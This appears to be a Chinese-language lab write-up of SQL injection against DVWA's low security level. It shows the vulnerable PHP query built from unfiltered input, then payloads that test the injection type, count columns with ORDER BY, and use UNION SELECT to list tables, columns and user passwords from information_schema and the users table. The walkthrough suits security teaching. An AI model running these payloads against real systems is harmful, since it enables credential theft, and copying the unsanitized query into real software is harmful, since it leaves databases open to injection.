sql注入基本思路:
1.源碼
2.判斷數字型和字符型
3.猜測字段數
4.查詢數據庫中的字段
5.查詢表中的字段
6.查詢user表中的字段
7.拿字段中數據
low:
1.源碼:
<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);
}?>
可以看到沒有任何過濾語句
2.判斷數字型和字符型:
加單引號: 1'
回顯失敗
加判斷 1 and 1=1
回顯正常
判斷:1 and 1=2
,回顯正常且查詢成功,可判斷不是數字型注入
判斷:1‘ and '1'='1
,回顯查詢正常
判斷:1’ and ‘1’='2,回顯失敗
說明類型為字符型注入
3.猜測字段數:
格式: order by 數字 #
數字是將這n個數字按順序列出,#井號作用是屏蔽之后的語句
回顯錯誤:1' order by 3 #
4.查詢數據庫中的字段:
union select聯合查詢
查詢出兩個字段: First name 和 Surname
5.查詢表中的字段
語句:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
group_concat : 返回結果為連接參數產生的字符串,并將group by產生的同一個分組中的值連接起來,返回一個字符串結果。
也 可以用concat函數,只是結果會分開,不如group_concat直觀
結果:查詢出guestbook 和 users兩個表名
6.查詢user表中的字段
語句:1' union select 1,group_concat(column_name)from information_schema.columns where table_name='users' #
發現敏感字段:user-id,password
7.拿字段中數據:
語句:1' union select group_concat(user),group_concat(password) from users #
除此之外,user_id中是數字序號,firstname中是用戶名,last_name中是姓。。。。等等,都可以通過語句得到
dvwa 的sql模塊似乎出了點問題,低中高三級都打不開了。。。。